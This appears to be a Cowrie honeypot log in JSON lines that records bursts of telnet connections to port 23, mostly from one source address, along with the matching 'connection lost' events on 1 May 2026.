{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a366023f5d7c","protocol":"telnet","message":"New connection: 202.91.32.11:34324 (159.203.135.109:23) [session: a366023f5d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:08.463886Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34338,"dst_ip":"159.203.135.109","dst_port":23,"session":"01216525e1b4","protocol":"telnet","message":"New connection: 202.91.32.11:34338 (159.203.135.109:23) [session: 01216525e1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:08.484860Z"}
{"eventid":"cowrie.session.closed","duration":31.461967945098877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:08.550103Z","src_ip":"202.91.32.11","session":"1d71c7299fa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34352,"dst_ip":"159.203.135.109","dst_port":23,"session":"6329e1521e90","protocol":"telnet","message":"New connection: 202.91.32.11:34352 (159.203.135.109:23) [session: 6329e1521e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:09.023420Z"}
{"eventid":"cowrie.session.closed","duration":31.752942323684692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:09.423621Z","src_ip":"202.91.32.11","session":"0850dc55f0f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6212215423584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:09.447346Z","src_ip":"202.91.32.11","session":"075059eb425b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34368,"dst_ip":"159.203.135.109","dst_port":23,"session":"41304b236567","protocol":"telnet","message":"New connection: 202.91.32.11:34368 (159.203.135.109:23) [session: 41304b236567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:09.652735Z"}
{"eventid":"cowrie.session.closed","duration":31.320377588272095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:09.658047Z","src_ip":"202.91.32.11","session":"340947b6862b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567362308502197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:10.138067Z","src_ip":"202.91.32.11","session":"2a38350f8c86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34376,"dst_ip":"159.203.135.109","dst_port":23,"session":"6399fbb5a247","protocol":"telnet","message":"New connection: 202.91.32.11:34376 (159.203.135.109:23) [session: 6399fbb5a247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:10.272357Z"}
{"eventid":"cowrie.session.closed","duration":31.324745416641235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:10.413332Z","src_ip":"202.91.32.11","session":"040fab38905b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34390,"dst_ip":"159.203.135.109","dst_port":23,"session":"e26d54d06aa6","protocol":"telnet","message":"New connection: 202.91.32.11:34390 (159.203.135.109:23) [session: e26d54d06aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:10.689291Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34402,"dst_ip":"159.203.135.109","dst_port":23,"session":"70347eba184d","protocol":"telnet","message":"New connection: 202.91.32.11:34402 (159.203.135.109:23) [session: 70347eba184d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:10.819649Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34416,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a30bbc227dd","protocol":"telnet","message":"New connection: 202.91.32.11:34416 (159.203.135.109:23) [session: 2a30bbc227dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:11.310306Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34418,"dst_ip":"159.203.135.109","dst_port":23,"session":"443e98558a7d","protocol":"telnet","message":"New connection: 202.91.32.11:34418 (159.203.135.109:23) [session: 443e98558a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:11.855157Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34428,"dst_ip":"159.203.135.109","dst_port":23,"session":"004a265c245d","protocol":"telnet","message":"New connection: 202.91.32.11:34428 (159.203.135.109:23) [session: 004a265c245d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:11.907379Z"}
{"eventid":"cowrie.session.closed","duration":31.597348928451538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:11.946009Z","src_ip":"202.91.32.11","session":"ab50509f7333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":34436,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae6d2f1d81d","protocol":"telnet","message":"New connection: 202.91.32.11:34436 (159.203.135.109:23) [session: 8ae6d2f1d81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:12.432699Z"}
{"eventid":"cowrie.session.closed","duration":31.427176475524902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:13.491611Z","src_ip":"202.91.32.11","session":"13008a8d5e74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52205729484558,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.349440Z","src_ip":"202.91.32.11","session":"d43c47532ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744141578674316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.390073Z","src_ip":"202.91.32.11","session":"8237db864098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46146,"dst_ip":"159.203.135.109","dst_port":23,"session":"456f994bf89f","protocol":"telnet","message":"New connection: 202.91.32.11:46146 (159.203.135.109:23) [session: 456f994bf89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.468530Z"}
{"eventid":"cowrie.session.closed","duration":31.65093684196472,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.566385Z","src_ip":"202.91.32.11","session":"8ee6aab1ca71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41740608215332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.672360Z","src_ip":"202.91.32.11","session":"1e494579e9eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642393827438354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.705374Z","src_ip":"202.91.32.11","session":"8658555480c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.609858751296997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.721582Z","src_ip":"202.91.32.11","session":"3c7846a98cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9786114692688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.862533Z","src_ip":"202.91.32.11","session":"61da93a3decf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46152,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2297e8975e","protocol":"telnet","message":"New connection: 202.91.32.11:46152 (159.203.135.109:23) [session: 0d2297e8975e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.963176Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46156,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5bb74e81a3d","protocol":"telnet","message":"New connection: 202.91.32.11:46156 (159.203.135.109:23) [session: d5bb74e81a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:14.993334Z"}
{"eventid":"cowrie.session.closed","duration":30.22786831855774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:15.036103Z","src_ip":"202.91.32.11","session":"30d35e10970e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":56564,"dst_ip":"10.17.0.5","dst_port":23,"session":"e290cc623848","protocol":"telnet","message":"New connection: 103.115.172.252:56564 (10.17.0.5:23) [session: e290cc623848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:15.237010Z"}
{"eventid":"cowrie.session.closed","duration":31.759334325790405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:15.536235Z","src_ip":"202.91.32.11","session":"05b9614f056f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46160,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea0c2350fe4c","protocol":"telnet","message":"New connection: 202.91.32.11:46160 (159.203.135.109:23) [session: ea0c2350fe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:15.614784Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46162,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee953607597c","protocol":"telnet","message":"New connection: 202.91.32.11:46162 (159.203.135.109:23) [session: ee953607597c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:15.752898Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46176,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72853f3b14e","protocol":"telnet","message":"New connection: 202.91.32.11:46176 (159.203.135.109:23) [session: a72853f3b14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:15.868526Z"}
{"eventid":"cowrie.session.closed","duration":31.792229890823364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:15.958108Z","src_ip":"202.91.32.11","session":"23d9a5abf045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32077145576477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:16.002965Z","src_ip":"202.91.32.11","session":"b1a00c99d7bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8862941265106201,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:16.123175Z","src_ip":"103.115.172.252","session":"e290cc623848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194591522216797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:16.783443Z","src_ip":"202.91.32.11","session":"b2fb97dd9f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.09228515625,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:17.030214Z","src_ip":"202.91.32.11","session":"7b99939701ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886931896209717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:17.082181Z","src_ip":"202.91.32.11","session":"86f48dc47793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46182,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf8a21e92156","protocol":"telnet","message":"New connection: 202.91.32.11:46182 (159.203.135.109:23) [session: cf8a21e92156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:17.152831Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46190,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8861405d8d7","protocol":"telnet","message":"New connection: 202.91.32.11:46190 (159.203.135.109:23) [session: c8861405d8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:17.487613Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46196,"dst_ip":"159.203.135.109","dst_port":23,"session":"b57c040de673","protocol":"telnet","message":"New connection: 202.91.32.11:46196 (159.203.135.109:23) [session: b57c040de673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:18.084732Z"}
{"eventid":"cowrie.session.closed","duration":32.246957778930664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:18.106551Z","src_ip":"202.91.32.11","session":"f66261a757fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257592916488647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:18.146894Z","src_ip":"202.91.32.11","session":"dddf2af81de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46204,"dst_ip":"159.203.135.109","dst_port":23,"session":"d55aa5836015","protocol":"telnet","message":"New connection: 202.91.32.11:46204 (159.203.135.109:23) [session: d55aa5836015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:18.475097Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46208,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f677a0c19ca","protocol":"telnet","message":"New connection: 202.91.32.11:46208 (159.203.135.109:23) [session: 6f677a0c19ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:18.621329Z"}
{"eventid":"cowrie.session.closed","duration":32.19555139541626,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:18.733915Z","src_ip":"202.91.32.11","session":"3da142c32246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71474838256836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:19.889942Z","src_ip":"202.91.32.11","session":"91b4bb47882d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.407769918441772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:20.278172Z","src_ip":"202.91.32.11","session":"0c958879beb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036072254180908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:20.400945Z","src_ip":"202.91.32.11","session":"92c65fa8418b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46220,"dst_ip":"159.203.135.109","dst_port":23,"session":"19b51121b8d1","protocol":"telnet","message":"New connection: 202.91.32.11:46220 (159.203.135.109:23) [session: 19b51121b8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:20.524614Z"}
{"eventid":"cowrie.session.closed","duration":30.800602436065674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:20.596482Z","src_ip":"202.91.32.11","session":"9eb64748cf7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03163504600525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:20.960853Z","src_ip":"202.91.32.11","session":"42200519ccb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46228,"dst_ip":"159.203.135.109","dst_port":23,"session":"e86d71696ac8","protocol":"telnet","message":"New connection: 202.91.32.11:46228 (159.203.135.109:23) [session: e86d71696ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.003422Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46232,"dst_ip":"159.203.135.109","dst_port":23,"session":"a160953e0de5","protocol":"telnet","message":"New connection: 202.91.32.11:46232 (159.203.135.109:23) [session: a160953e0de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.224525Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46240,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd7bc95e374f","protocol":"telnet","message":"New connection: 202.91.32.11:46240 (159.203.135.109:23) [session: bd7bc95e374f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.284460Z"}
{"eventid":"cowrie.session.closed","duration":30.59868574142456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.354171Z","src_ip":"202.91.32.11","session":"a72f6ec5d772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46242,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9538d866a1","protocol":"telnet","message":"New connection: 202.91.32.11:46242 (159.203.135.109:23) [session: af9538d866a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.444504Z"}
{"eventid":"cowrie.session.closed","duration":31.216799020767212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.559006Z","src_ip":"202.91.32.11","session":"686e805570d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46244,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ad53ee6bb31","protocol":"telnet","message":"New connection: 202.91.32.11:46244 (159.203.135.109:23) [session: 7ad53ee6bb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.710814Z"}
{"eventid":"cowrie.session.closed","duration":32.00921583175659,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.737363Z","src_ip":"202.91.32.11","session":"c6389216ad54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48862075805664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.746753Z","src_ip":"202.91.32.11","session":"4840384814d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23628258705139,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:21.996800Z","src_ip":"202.91.32.11","session":"a4bfa48f3e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.849756717681885,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.158512Z","src_ip":"45.63.42.31","session":"531345f35665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814083576202393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.386176Z","src_ip":"202.91.32.11","session":"b5c100e63dd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59934902191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.457714Z","src_ip":"202.91.32.11","session":"bd1f81f86eed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":46246,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e8f5f82ffb","protocol":"telnet","message":"New connection: 202.91.32.11:46246 (159.203.135.109:23) [session: 32e8f5f82ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.582464Z"}
{"eventid":"cowrie.session.closed","duration":31.541250467300415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.640017Z","src_ip":"202.91.32.11","session":"77557fd057f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885904550552368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.679579Z","src_ip":"202.91.32.11","session":"c7734f70878b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42052,"dst_ip":"159.203.135.109","dst_port":23,"session":"62886ffb19a9","protocol":"telnet","message":"New connection: 202.91.32.11:42052 (159.203.135.109:23) [session: 62886ffb19a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.774097Z"}
{"eventid":"cowrie.session.closed","duration":31.103672742843628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.843672Z","src_ip":"202.91.32.11","session":"d3ca3fe2baf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42058,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec420821055","protocol":"telnet","message":"New connection: 202.91.32.11:42058 (159.203.135.109:23) [session: aec420821055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.883034Z"}
{"eventid":"cowrie.session.closed","duration":32.58420658111572,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:22.890682Z","src_ip":"202.91.32.11","session":"5caa4025bad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13179922103882,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:23.038372Z","src_ip":"202.91.32.11","session":"4f41cea7c70d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.867051601409912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:23.266031Z","src_ip":"202.91.32.11","session":"f09c781526f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55396,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1ab962a25b5","protocol":"telnet","message":"New connection: 45.63.42.31:55396 (10.17.0.5:23) [session: c1ab962a25b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:23.368056Z"}
{"eventid":"cowrie.session.closed","duration":31.31923198699951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:23.698230Z","src_ip":"202.91.32.11","session":"9d71e278bc38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.33730530738830566,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:23.705194Z","src_ip":"45.63.42.31","session":"c1ab962a25b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34953474998474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:24.136334Z","src_ip":"202.91.32.11","session":"ca37f38ae795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42066,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3a49df081b","protocol":"telnet","message":"New connection: 202.91.32.11:42066 (159.203.135.109:23) [session: 3b3a49df081b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:24.257111Z"}
{"eventid":"cowrie.session.closed","duration":32.70150351524353,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:24.602335Z","src_ip":"202.91.32.11","session":"a7bb8d8f0f3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.307199716567993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:25.066003Z","src_ip":"202.91.32.11","session":"8a1efd4ccfd8","protocol":"telnet"}
